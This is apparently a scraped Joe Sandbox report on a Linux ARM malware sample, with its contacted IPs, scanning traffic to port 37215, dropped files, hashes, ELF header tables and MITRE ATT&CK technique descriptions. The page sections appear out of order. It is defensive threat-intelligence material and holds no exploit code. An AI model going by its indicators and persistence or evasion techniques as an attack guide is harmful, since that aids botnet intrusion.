138.169.163.74	unknown	United States	637	DNIC-ASBLK-00616-00665US	false
37.10.131.5	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
197.211.66.47	unknown	South Africa	29918	IMPOL-ASNZA	false
94.208.51.123	unknown	Netherlands	33915	TNF-ASNL	false
121.147.231.34	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
41.116.238.228	unknown	South Africa	16637	MTNNS-ASZA	false
190.12.192.63	unknown	Argentina	22724	PUNTONETSAEC	false
186.49.108.217	unknown	Uruguay	6057	AdministracionNacionaldeTelecomunicacionesUY	false
222.222.217.83	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
156.76.161.142	unknown	United States	6341	WIECUS	false
4.166.191.139	unknown	United States	3356	LEVEL3US	false
138.183.189.39	unknown	United States	647	DNIC-ASBLK-00616-00665US	false
92.211.109.167	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
156.89.9.179	unknown	United States	2386	INS-ASUS	false
154.219.20.182	unknown	Seychelles	26484	IKGUL-26484US	false
94.232.145.23	unknown	Poland	39893	NETSYSTEM_TP-ASNPL	false
186.149.211.84	unknown	Dominican Republic	12066	ALTICEDOMINICANASADO	false
138.82.147.248	unknown	Canada	58611	CDU-AS-APCharlesDarwinUniversityAU	false
31.147.170.167	unknown	Croatia (LOCAL Name: Hrvatska)	2108	CARNET-ASJMarohnica510000ZagrebHR	false
92.3.236.130	unknown	United Kingdom	13285	OPALTELECOM-ASTalkTalkCommunicationsLimitedGB	false
190.140.175.54	unknown	Panama	18809	CableOndaPA	false
31.188.224.196	unknown	Italy	24608	WINDTRE-ASIT	false
195.179.35.71	unknown	Germany	6659	NEXINTO-DE	false
122.7.204.190	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
181.199.10.45	unknown	Ecuador	27947	TelconetSAEC	false
92.212.74.1	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
94.175.48.228	unknown	United Kingdom	5089	NTLGB	false
196.170.140.116	unknown	Togo	24691	TOGOTEL-ASTogoTelecomTogoTG	false
102.236.129.92	unknown	unknown	36926	CKL1-ASNKE	false
223.135.177.44	unknown	Japan	2527	SO-NETSo-netEntertainmentCorporationJP	false
154.241.243.175	unknown	Algeria	36947	ALGTEL-ASDZ	false
186.179.177.79	unknown	Suriname	27775	TelecommunicationcompanySuriname-TeleSurSR	false
45.201.177.28	unknown	Seychelles	131178	KINGCORP-KHOpenNetISPCambodiaKH	false
107.255.69.68	unknown	United States	7018	ATT-INTERNET4US	false
156.177.182.68	unknown	Egypt	36992	ETISALAT-MISREG	false
156.111.211.60	unknown	United States	395139	NYP-INTERNETUS	false
37.113.197.168	unknown	Russian Federation	57044	BRYANSK-ASRU	false
94.194.73.231	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
190.161.25.191	unknown	Chile	22047	VTRBANDAANCHASACL	false
122.14.35.159	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
160.108.150.52	unknown	United States	715	WOODYNET-2US	false
121.159.7.94	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
120.250.201.158	unknown	China	56040	CMNET-GUANGDONG-APChinaMobilecommunicationscorporation	false
102.83.94.56	unknown	Uganda	37075	ZAINUGASUG	false
222.24.201.129	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
142.204.125.152	unknown	Canada	10265	SENECACOLLEGE-ASCA	false
31.228.35.234	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
222.79.252.33	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
121.37.235.8	unknown	China	55990	HWCSNETHuaweiCloudServicedatacenterCN	false
94.216.58.38	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
121.4.98.131	unknown	China	7594	ONQ-AS-APOnQAU	false
43.241.39.156	unknown	India	133296	WEBWERKS-AS-INWebWerksIndiaPvtLtdIN	false
94.142.35.135	unknown	Jordan	48832	ZAIN-JO	false
122.226.30.79	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
178.157.234.51	unknown	Denmark	43557	ASEMNETDK	false
197.141.53.30	unknown	Algeria	36891	ICOSNET-ASDZ	false
41.105.231.127	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.202.209.193	unknown	Algeria	36947	ALGTEL-ASDZ	false
160.150.178.198	unknown	United States	1515	DNIC-ASBLK-01513-01518US	false
41.117.228.166	unknown	South Africa	16637	MTNNS-ASZA	false
197.43.225.183	unknown	Egypt	8452	TE-ASTE-ASEG	false
190.100.175.139	unknown	Chile	22047	VTRBANDAANCHASACL	false
107.10.100.33	unknown	United States	10796	TWC-10796-MIDWESTUS	false
186.8.164.13	unknown	Uruguay	19422	TelefonicaMovilesdelUruguaySAUY	false
122.56.12.124	unknown	New Zealand	4648	SPARK-NZGlobal-GatewayInternetNZ	false
180.210.92.27	unknown	Korea Republic of	38661	HCLC-AS-KRpurplestonesKR	false
107.141.52.34	unknown	United States	7018	ATT-INTERNET4US	false
222.59.175.79	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
122.29.156.126	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
107.199.244.122	unknown	United States	7018	ATT-INTERNET4US	false
71.61.125.150	unknown	United States	7922	COMCAST-7922US	false
154.82.214.17	unknown	Seychelles	396076	ROOT-NETWORKSUS	false
121.203.73.63	unknown	Hong Kong	17924	SMARTONE-MB-AS-APSmarToneMobileCommunicationsLtdHK	false
197.163.1.63	unknown	Egypt	24863	LINKdotNET-ASEG	false
45.109.69.147	unknown	Egypt	37069	MOBINILEG	false
79.171.51.195	unknown	Albania	50973	VODAFONE-AL-ASNAL	false
95.71.223.77	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
121.145.79.51	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
186.53.198.43	unknown	Uruguay	6057	AdministracionNacionaldeTelecomunicacionesUY	false
107.171.217.10	unknown	Canada	5769	VIDEOTRONCA	false
31.147.170.130	unknown	Croatia (LOCAL Name: Hrvatska)	2108	CARNET-ASJMarohnica510000ZagrebHR	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
138.81.2.80	9JDn25nTOJ	Get hash	malicious	Browse
154.27.158.219	Nshdj9tixq	Get hash	malicious	Browse
122.131.13.225	UnHAnaAW.x86	Get hash	malicious	Browse
122.131.13.225	8BIKTv5wXr	Get hash	malicious	Browse
156.89.9.183	meihao.spc	Get hash	malicious	Browse
	arm	Get hash	malicious	Browse
	zySfDhTvY5	Get hash	malicious	Browse
	arm7	Get hash	malicious	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
UUNETUS	Lab5Vwy58N	Get hash	malicious	Browse	98.117.62.60
	Cyr87DGYzS	Get hash	malicious	Browse	173.52.1.5
	ZI20bfFKqt	Get hash	malicious	Browse	62.22.132.215
	cmnXesY01S	Get hash	malicious	Browse	62.125.34.186
	X8bjtLC678	Get hash	malicious	Browse	71.183.81.212
	9IDtyIo5ME	Get hash	malicious	Browse	71.174.46.145
	yX14v6CZxe	Get hash	malicious	Browse	203.61.203.144
	oTKlNsFTEp	Get hash	malicious	Browse	204.255.179.226
	KDhLnhTbgz	Get hash	malicious	Browse	63.2.185.167
	dZ6i6P1BMf	Get hash	malicious	Browse	96.242.74.205
	o3N9Cy4cvC.exe	Get hash	malicious	Browse	100.97.148.206
	Ares.mips	Get hash	malicious	Browse	108.52.208.175
	Ares.x86	Get hash	malicious	Browse	63.17.203.235
	Ares.mpsl	Get hash	malicious	Browse	212.177.218.8
	Ares.arm7	Get hash	malicious	Browse	152.213.17.92
	W3bjFhRcxG	Get hash	malicious	Browse	108.29.68.67
	zoz4Qw1K9N	Get hash	malicious	Browse	208.212.174.88
	vBxtwpmgTw	Get hash	malicious	Browse	68.160.78.241
	pnS6DsNQ71	Get hash	malicious	Browse	100.13.48.82
	d7DYF3R9OC	Get hash	malicious	Browse	212.249.217.90
SWISSCOMSwisscomSwitzerlandLtdCH	Lab5Vwy58N	Get hash	malicious	Browse	85.0.181.77
	ynhA6iNyI5	Get hash	malicious	Browse	85.4.129.129
	oTKlNsFTEp	Get hash	malicious	Browse	164.232.240.192
	Ares.mpsl	Get hash	malicious	Browse	212.41.221.165
	Ares.arm7	Get hash	malicious	Browse	85.2.87.122
	IWOYabu26O	Get hash	malicious	Browse	85.5.0.90
	d7DYF3R9OC	Get hash	malicious	Browse	164.240.178.141
	xd.x86	Get hash	malicious	Browse	85.2.197.221
	jew.spc	Get hash	malicious	Browse	85.4.44.60
	mips	Get hash	malicious	Browse	188.60.16.130
	bot.mpsl	Get hash	malicious	Browse	138.190.142.37
	wj5gg4gwlH	Get hash	malicious	Browse	164.247.4.246
	fvPJw3NSx3	Get hash	malicious	Browse	164.192.78.234
	DNMhV4D3Xo	Get hash	malicious	Browse	178.198.185.101
	kGtNK0fTAd	Get hash	malicious	Browse	178.192.36.183
	dWA9sQFrge	Get hash	malicious	Browse	164.137.45.91
	4j00vzCzty	Get hash	malicious	Browse	212.243.155.95
	DWPsUbp6tU	Get hash	malicious	Browse	161.78.252.121
	bDwa.exe	Get hash	malicious	Browse	85.2.8.231
	irc.mips	Get hash	malicious	Browse	212.243.167.28

Process:	/usr/bin/mandb
File Type:	GNU dbm 1.x or ndbm database, little endian, 64-bit
Category:	dropped
Size (bytes):	622592
Entropy (8bit):	4.657516417799966
Encrypted:	false
SSDEEP:	6144:rb7cWWov4H5N80nuDSyvxYCWZ0/VmpRELAR/QuU/MzUCl1NZ:H4WWoGgvSiOp2kl
MD5:	0C99179B6C5CFE82203424AD7DAD0D8F
SHA1:	CAC50B64B1352723FF8F58BB1B103B93C396539B
SHA-256:	CEC6859D12C6A981ACA4D7C88F6E62E9616FB4D765C4A52147A7DA7BAD4F2420
SHA-512:	4226FDE9F558FFEF2107C330DB942E7E665C51C520A840221541AD255D0995AF64101C69D42C4BD43037364CC4D152851625A53DC56CC188DC28A3DC8C5602F6
Malicious:	false
Reputation:	high, very likely benign file
Preview:	.W.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Source: mW6l0hEXP3	Virustotal: Detection: 59%			Perma Link
Source: mW6l0hEXP3	ReversingLabs: Detection: 65%

Source: global traffic	TCP traffic: 197.124.242.154 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.131.196.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.6.162.172 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.71.26.181 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.53.42.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.7.82.200 ports 1,2,3,5,7,37215

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 197.43.78.150
Source: unknown	TCP traffic detected without corresponding DNS query: 197.208.183.150
Source: unknown	TCP traffic detected without corresponding DNS query: 197.244.122.18
Source: unknown	TCP traffic detected without corresponding DNS query: 197.82.252.151
Source: unknown	TCP traffic detected without corresponding DNS query: 197.31.229.30
Source: unknown	TCP traffic detected without corresponding DNS query: 197.229.115.206
Source: unknown	TCP traffic detected without corresponding DNS query: 197.138.215.123
Source: unknown	TCP traffic detected without corresponding DNS query: 197.150.186.3
Source: unknown	TCP traffic detected without corresponding DNS query: 197.215.103.219
Source: unknown	TCP traffic detected without corresponding DNS query: 197.237.126.197
Source: unknown	TCP traffic detected without corresponding DNS query: 197.100.116.232
Source: unknown	TCP traffic detected without corresponding DNS query: 197.120.53.163
Source: unknown	TCP traffic detected without corresponding DNS query: 197.21.211.29
Source: unknown	TCP traffic detected without corresponding DNS query: 197.127.66.171
Source: unknown	TCP traffic detected without corresponding DNS query: 197.122.252.212
Source: unknown	TCP traffic detected without corresponding DNS query: 197.159.45.10
Source: unknown	TCP traffic detected without corresponding DNS query: 197.237.180.131
Source: unknown	TCP traffic detected without corresponding DNS query: 197.71.15.237
Source: unknown	TCP traffic detected without corresponding DNS query: 197.43.37.179
Source: unknown	TCP traffic detected without corresponding DNS query: 197.219.122.94
Source: unknown	TCP traffic detected without corresponding DNS query: 197.176.13.113
Source: unknown	TCP traffic detected without corresponding DNS query: 197.237.138.33
Source: unknown	TCP traffic detected without corresponding DNS query: 197.161.6.105
Source: unknown	TCP traffic detected without corresponding DNS query: 197.85.208.219
Source: unknown	TCP traffic detected without corresponding DNS query: 197.186.150.135
Source: unknown	TCP traffic detected without corresponding DNS query: 197.103.148.240
Source: unknown	TCP traffic detected without corresponding DNS query: 197.68.234.22
Source: unknown	TCP traffic detected without corresponding DNS query: 197.0.228.10
Source: unknown	TCP traffic detected without corresponding DNS query: 197.14.134.69
Source: unknown	TCP traffic detected without corresponding DNS query: 197.151.7.160
Source: unknown	TCP traffic detected without corresponding DNS query: 197.89.68.92
Source: unknown	TCP traffic detected without corresponding DNS query: 197.248.191.243
Source: unknown	TCP traffic detected without corresponding DNS query: 197.68.85.239
Source: unknown	TCP traffic detected without corresponding DNS query: 197.23.250.191
Source: unknown	TCP traffic detected without corresponding DNS query: 197.193.228.6
Source: unknown	TCP traffic detected without corresponding DNS query: 197.50.91.171
Source: unknown	TCP traffic detected without corresponding DNS query: 197.109.246.4
Source: unknown	TCP traffic detected without corresponding DNS query: 197.195.98.125
Source: unknown	TCP traffic detected without corresponding DNS query: 197.141.52.140
Source: unknown	TCP traffic detected without corresponding DNS query: 197.203.114.151
Source: unknown	TCP traffic detected without corresponding DNS query: 197.104.84.49
Source: unknown	TCP traffic detected without corresponding DNS query: 197.182.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 197.15.41.1
Source: unknown	TCP traffic detected without corresponding DNS query: 197.81.100.169
Source: unknown	TCP traffic detected without corresponding DNS query: 197.231.174.252
Source: unknown	TCP traffic detected without corresponding DNS query: 197.34.28.207
Source: unknown	TCP traffic detected without corresponding DNS query: 197.86.85.134
Source: unknown	TCP traffic detected without corresponding DNS query: 197.132.134.178
Source: unknown	TCP traffic detected without corresponding DNS query: 197.15.240.24
Source: unknown	TCP traffic detected without corresponding DNS query: 197.130.240.250

Process:	/usr/sbin/logrotate
File Type:	ASCII text
Category:	dropped
Size (bytes):	1612
Entropy (8bit):	4.802044273302334
Encrypted:	false
SSDEEP:	48:Uo6BqJFNZBr0++BK5Npq4pNYBJNcsXNU3N6NA5C5xotNq4wNZNDNU1LN3o9N1BqC:SUr/2zOm4paDxe3MmBA4wTteJYzUnCAQ
MD5:	90FA95FA2F6F5546ECAE418767227BEF
SHA1:	3024748C6BCC36D2B80057B164FE0ABEEF61D404
SHA-256:	27553376C20F4B51DD0763B4AB5645D3FFC37CC987EF4614C486351EC4118C49
SHA-512:	3BEB7B64815CB147E906C8A17BC9F695CA1E46D120A035EF00151AA45D2449826AAD68818B2A775F8659E256C992062676A2D3AEA4AB23AC7F89D3D7A9CAE5DB
Malicious:	false
Preview:	logrotate state -- version 2."/var/log/syslog" 2022-7-17-1:33:45."/var/log/dpkg.log" 2022-7-16-23:33:10."/var/log/speech-dispatcher/debug-flite" 2021-8-20-13:0:0."/var/log/unattended-upgrades/unattended-upgrades.log" 2022-7-16-23:33:10."/var/log/unattended-upgrades/unattended-upgrades-shutdown.log" 2021-9-17-9:23:29."/var/log/auth.log" 2022-7-17-1:33:45."/var/log/apt/term.log" 2022-7-16-23:33:10."/var/log/ppp-connect-errors" 2021-8-20-13:0:0."/var/log/apport.log" 2021-9-17-9:23:29."/var/log/speech-dispatcher/speech-dispatcher-protocol.log" 2021-8-20-13:0:0."/var/log/apt/history.log" 2022-7-16-23:33:10."/var/log/boot.log" 2021-8-20-13:0:0."/var/log/alternatives.log" 2021-9-17-9:23:29."/var/log/lightdm/*.log" 2021-8-20-13:0:0."/var/log/mail.log" 2021-8-20-13:0:0."/var/log/debug" 2021-8-20-13:0:0."/var/log/kern.log" 2022-7-17-1:33:45."/var/log/cups/access_log" 2022-7-17-1:33:45."/var/log/ufw.log" 2021-8-20-13:0:0."/var/log/speech-dispatcher/speech-dispatcher.log" 2021-8-20-13:0:0."/var/lo

Process:	/bin/gzip
File Type:	gzip compressed data, last modified: Fri Sep 17 09:23:57 2021, from Unix
Category:	dropped
Size (bytes):	204
Entropy (8bit):	6.922137841844236
Encrypted:	false
SSDEEP:	6:XQelkpPc1usIRV8yOI6w/XDQximFtHassaLyBn:XLl9IRV8y6w/UxiYtZsaOn
MD5:	2F6A7144B926296144698133822B3306
SHA1:	504BACCB3CFAD4D1F0B8C762B51C11EE9E4763BC
SHA-256:	2CAF9CAD85BE60CCD515E587651357C7A673F32886D720F640175B0985DF2488
SHA-512:	4FD7812A5281EF87336BE7489DC55BC65D7D25924DBD307F27D4B77B7FD5B0896D40EB56DDA4D4F47ABC4F7EDBDADFF5150B3D745A5464A2CDFEFC05CF227F4B
Malicious:	false
Preview:	.....^Da....;..1..{..ZH\|".q....<E.$zQ.1......B..B..a....C..F?i..N.Gi$...XP..!z.-!.r..\`.D..z.....x&R...".D....d2....^....h.A...B=..J....y...T.Uy"[+.z(.SV.8.Gd.qg.F]d...{C.Z.....b.......... b.e...

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
Entropy (8bit):	5.993580508802401
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	mW6l0hEXP3
File size:	134432
MD5:	2f34c6a4e1e6da200048f00dc57a7cf7
SHA1:	0c1a2f29522d6d6b21f04d19d5b4b8acd68cedec
SHA256:	d17a66ea508e9d60670ef5b78430471ba240cfaf506d7040a1f05818cc4a9904
SHA512:	a69275a08ab6d17d685c6b83a53696e0cff61cef5876712d3df34e48fa9c084fbc23bf7a65216298568d2f9c509afb1a527a49f1ac90bb75f8d5a73c4ece0560
SSDEEP:	3072:+D96aROsN/9CQIHGxrj0T4OKnJEdLvKWBSbM/9z2syAw:+D96aROsN/9CRYv0T4OKnWdeWBOM/9z6
TLSH:	ECD34B46EA818F13C4D6177ABAAF42493323E754E3DB33068D18AFB43F8665E4E63505
File Content Preview:	.ELF..............(.........4...........4. ...(........p.=..........................................4>..4>...............@...@...@.......4...............@...@...@..................Q.td..................................-...L..................@-.,@...0....S

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8194
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	106512
Section Header Size:	40
Number of Section Headers:	29
Header String Table Index:	26

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.init	PROGBITS	0x80d4	0xd4	0x10	0x0	0x6	AX	0	0	4
.text	PROGBITS	0x80f0	0xf0	0x12c28	0x0	0x6	AX	0	0	16
.fini	PROGBITS	0x1ad18	0x12d18	0x10	0x0	0x6	AX	0	0	4
.rodata	PROGBITS	0x1ad28	0x12d28	0xfdc	0x0	0x2	A	0	0	4
.ARM.extab	PROGBITS	0x1bd04	0x13d04	0x18	0x0	0x2	A	0	0	4
.ARM.exidx	ARM_EXIDX	0x1bd1c	0x13d1c	0x118	0x0	0x82	AL	2	0	4
.eh_frame	PROGBITS	0x24000	0x14000	0x4	0x0	0x3	WA	0	0	4
.tbss	NOBITS	0x24004	0x14004	0x8	0x0	0x403	WAT	0	0	4
.init_array	INIT_ARRAY	0x24004	0x14004	0x4	0x0	0x3	WA	0	0	4
.fini_array	FINI_ARRAY	0x24008	0x14008	0x4	0x0	0x3	WA	0	0	4
.jcr	PROGBITS	0x2400c	0x1400c	0x4	0x0	0x3	WA	0	0	4
.got	PROGBITS	0x24010	0x14010	0xa8	0x4	0x3	WA	0	0	4
.data	PROGBITS	0x240b8	0x140b8	0x258	0x0	0x3	WA	0	0	4
.bss	NOBITS	0x24310	0x14310	0x3198	0x0	0x3	WA	0	0	4
.comment	PROGBITS	0x0	0x14310	0x916	0x0	0x0		0	0	1
.debug_aranges	PROGBITS	0x0	0x14c28	0xc0	0x0	0x0		0	0	8
.debug_pubnames	PROGBITS	0x0	0x14ce8	0x213	0x0	0x0		0	0	1
.debug_info	PROGBITS	0x0	0x14efb	0x1d23	0x0	0x0		0	0	1
.debug_abbrev	PROGBITS	0x0	0x16c1e	0x692	0x0	0x0		0	0	1
.debug_line	PROGBITS	0x0	0x172b0	0x9c7	0x0	0x0		0	0	1
.debug_frame	PROGBITS	0x0	0x17c78	0x2b8	0x0	0x0		0	0	4
.debug_str	PROGBITS	0x0	0x17f30	0x8ca	0x1	0x30	MS	0	0	1
.debug_loc	PROGBITS	0x0	0x187fa	0x118f	0x0	0x0		0	0	1
.debug_ranges	PROGBITS	0x0	0x19989	0x558	0x0	0x0		0	0	1
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x19ee1	0x16	0x0	0x0		0	0	1
.shstrtab	STRTAB	0x0	0x19ef7	0x117	0x0	0x0		0	0	1
.symtab	SYMTAB	0x0	0x1a498	0x45c0	0x10	0x0		28	643	4
.strtab	STRTAB	0x0	0x1ea58	0x22c8	0x0	0x0		0	0	1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
EXIDX	0x13d1c	0x1bd1c	0x1bd1c	0x118	0x118	4.4826	0x4	R	0x4	.ARM.exidx
LOAD	0x0	0x8000	0x8000	0x13e34	0x13e34	6.1179	0x5	R E	0x8000	.init .text .fini .rodata .ARM.extab .ARM.exidx
LOAD	0x14000	0x24000	0x24000	0x310	0x34a8	3.8283	0x6	RW	0x8000	.eh_frame .tbss .init_array .fini_array .jcr .got .data .bss
TLS	0x14004	0x24004	0x24004	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Start time:	01:33:44
Start date:	17/07/2022
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time:	01:33:45
Start date:	17/07/2022
Path:	/usr/sbin/logrotate
Arguments:	n/a
File size:	84056 bytes
MD5 hash:	ff9f6831debb63e53a31ff8057143af6

Start time:	01:33:47
Start date:	17/07/2022
Path:	/usr/sbin/invoke-rc.d
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time:	01:33:48
Start date:	17/07/2022
Path:	/usr/sbin/logrotate
Arguments:	n/a
File size:	84056 bytes
MD5 hash:	ff9f6831debb63e53a31ff8057143af6

Start time:	01:33:43
Start date:	17/07/2022
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time:	01:33:46
Start date:	17/07/2022
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time:	01:34:01
Start date:	17/07/2022
Path:	/tmp/mW6l0hEXP3
Arguments:	/tmp/mW6l0hEXP3
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report mW6l0hEXP3

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/var/cache/man/6268

/var/cache/man/cs/6268

/var/cache/man/cs/index.db.mXKAQ7

/var/cache/man/da/6268

/var/cache/man/da/index.db.fWNeL8

/var/cache/man/de/6268

/var/cache/man/de/index.db.v8IICa

/var/cache/man/es/6268

/var/cache/man/es/index.db.czDkF8

/var/cache/man/fi/6268

/var/cache/man/fi/index.db.Tx4Dvb

/var/cache/man/fr.ISO8859-1/6268

/var/cache/man/fr.ISO8859-1/index.db.KvYFP7

/var/cache/man/fr.UTF-8/6268

/var/cache/man/fr.UTF-8/index.db.5W3rOa

/var/cache/man/fr/6268

/var/cache/man/fr/index.db.hvxzE9

/var/cache/man/hu/6268

/var/cache/man/hu/index.db.aBLkQ7

/var/cache/man/id/6268

/var/cache/man/id/index.db.ZIceu8

/var/cache/man/index.db.fFg2a9

/var/cache/man/it/6268

/var/cache/man/it/index.db.zthXia

/var/cache/man/ja/6268

/var/cache/man/ja/index.db.UN6CP9

/var/cache/man/ko/6268

/var/cache/man/ko/index.db.ibbxGa

/var/cache/man/nl/6268

/var/cache/man/nl/index.db.DlHxS7

Linux Analysis Report
mW6l0hEXP3

Description:	Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as Bash History and /var/log/*.
Tactics:	Defense Evasion
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
